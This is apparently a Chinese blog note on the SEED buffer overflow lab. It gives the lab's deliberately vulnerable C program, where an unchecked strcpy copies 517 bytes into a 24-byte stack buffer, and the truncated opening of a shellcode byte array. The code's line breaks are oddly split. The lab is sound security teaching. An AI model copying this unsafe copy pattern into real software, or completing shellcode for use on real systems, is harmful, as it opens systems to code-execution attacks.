一次缓冲区溢出攻击实验,难度不高,利用了C的栈指针存储原理。在此简单记录一下。
实验官网地址:http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/
文章目录
禁用地址随机化程序源码获取str起始地址函数栈结构图
禁用地址随机化
程序源码
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str
)
{
char buffer
[24];
strcpy(buffer
, str
);
return 1;
}
int main(int argc
, char **argv
)
{
char str
[517];
FILE
*badfile
;
badfile
= fopen("badfile", "r");
fread(str
, sizeof(char), 517, badfile
);
bof(str
);
printf("Returned Properly\n");
return 1;
}
#include <stdlib.h>
#include <stdio.h>
const char code
[] =
"\x31\xc0"